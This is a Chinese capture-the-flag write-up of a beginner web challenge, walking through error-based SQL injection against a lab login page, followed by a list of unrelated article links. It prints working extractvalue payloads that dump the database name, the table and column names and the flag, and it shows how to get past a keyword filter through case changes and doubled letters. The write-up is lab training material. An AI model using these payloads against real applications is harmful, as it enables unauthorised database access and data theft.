当前位置: 首页 > news >正文

[第一章 web入门]SQL注入-2 题目分析与详解

一、题目简介

分析题目,拿到flag。


二、解题思路

1、我们首先按照题目要求,分别访问 /login.php 和 /user.php。

访问 /login.php,页面如图:

访问 user.php,页面如图:

user.php没有用处,我们对 login.php 进行分析。

2、我们查看页面源代码,看看是否能找到有用的信息。

页面源代码给出我们两处提示:

(1)在url的后面加入 ?tips=1来开启mysql的错误提示,错误提示=报错会进行回显,那么可以使用报错注入,提供了一种思路。

(2)利用Burpsuite进行发包,提示我们最好在Burpsuite中进行操作。

那么我们就通过页面源代码的提示进行解题。

3、我们首先利用 Burp suite 对其进行抓包,并在url后面加上 tips=1,并且发送至 repeater 模块,方便实时发包查看报错信息。

具体报错信息可以使用 unicode编码在线转化工具转换为中文。

4、首先判断注入类型:

(1)name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。
(2)name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。

经过和报错注入的联合判断,我们可以得出闭合方式为:单引号 ' 。

接下俩进行报错注入:

(1)注出数据库库名:

1' and extractvalue(1,concat(0x7e,database()))--+

(2)注出数据库中的表名:

admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

 

我们发现未能注出表明,可能是select关键字被过滤掉了,那么我们利用大小写绕过,将select写作Select。 双写绕过 selselectect也是OK的。

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

 

成功注出表明,发现一张名叫作 fl4g 的表,flag很有可能就在这张表里。

(3)注出表 fl4g 中的列:

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

 

 发现字段 flag,flag就在字段flag中。

(4)注出flag的值:

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

 

 

成功拿到了flag。 

 

 

相关文章:

  • 开源分子对接程序rDock的安装及使用流程
  • 物资管理新篇章:Java+SpringBoot实战
  • iOS 中的Skeleton UI
  • pytest.param作为pytest.mark.parametrize的参数进行调用
  • ChatGPT带火的HBM是什么?
  • Elasticsearch 创建index库 timeout
  • 【软件测试】--功能测试2--常用设计测试用例方法
  • 记录 | docker权限原因导致service ssh start失败
  • springboot-基础-eclipse配置+helloword示例
  • FPGA领域顶级学术会议
  • 怎么恢复删除的数据?4个有效的数据恢复方法
  • 简单聊聊现在的AI
  • 微信小程序web-view标签嵌套h5
  • 网络技术ensp 一个简单的交换机配置案例
  • JavaSec 基础之 SQL 注入
  • [PHP内核探索]PHP中的哈希表
  • [分享]iOS开发-关于在xcode中引用文件夹右边出现问号的解决办法
  • ABAP的include关键字,Java的import, C的include和C4C ABSL 的import比较
  • Akka系列(七):Actor持久化之Akka persistence
  • conda常用的命令
  • javascript从右向左截取指定位数字符的3种方法
  • log4j2输出到kafka
  • Redis提升并发能力 | 从0开始构建SpringCloud微服务(2)
  • 浮动相关
  • 更好理解的面向对象的Javascript 1 —— 动态类型和多态
  • 离散点最小(凸)包围边界查找
  • 为视图添加丝滑的水波纹
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • [地铁译]使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • 继 XDL 之后,阿里妈妈开源大规模分布式图表征学习框架 Euler ...
  • ​Kaggle X光肺炎检测比赛第二名方案解析 | CVPR 2020 Workshop
  • #【QT 5 调试软件后,发布相关:软件生成exe文件 + 文件打包】
  • #我与虚拟机的故事#连载20:周志明虚拟机第 3 版:到底值不值得买?
  • $ git push -u origin master 推送到远程库出错
  • (1)常见O(n^2)排序算法解析
  • (17)Hive ——MR任务的map与reduce个数由什么决定?
  • (C语言)fread与fwrite详解
  • (MIT博士)林达华老师-概率模型与计算机视觉”
  • (Redis使用系列) Springboot 使用Redis+Session实现Session共享 ,简单的单点登录 五
  • (简单) HDU 2612 Find a way,BFS。
  • (免费领源码)Java#ssm#MySQL 创意商城03663-计算机毕业设计项目选题推荐
  • .NET 回调、接口回调、 委托
  • .Net7 环境安装配置
  • .netcore 6.0/7.0项目迁移至.netcore 8.0 注意事项
  • .net获取当前url各种属性(文件名、参数、域名 等)的方法
  • /usr/local/nginx/logs/nginx.pid failed (2: No such file or directory)
  • [ SNOI 2013 ] Quare
  • []利用定点式具实现:文件读取,完成不同进制之间的
  • [Android学习笔记]ScrollView的使用
  • [BZOJ 4129]Haruna’s Breakfast(树上带修改莫队)
  • [BZOJ] 1001: [BeiJing2006]狼抓兔子
  • [ERROR]-Error: failure: repodata/filelists.xml.gz from addons: [Errno 256] No more mirrors to try.
  • [ffmpeg] x264 配置参数解析
  • [Flex] PopUpButton系列 —— 控制弹出菜单的透明度、可用、可选择状态
  • [Flexbox] Using order to rearrange flexbox children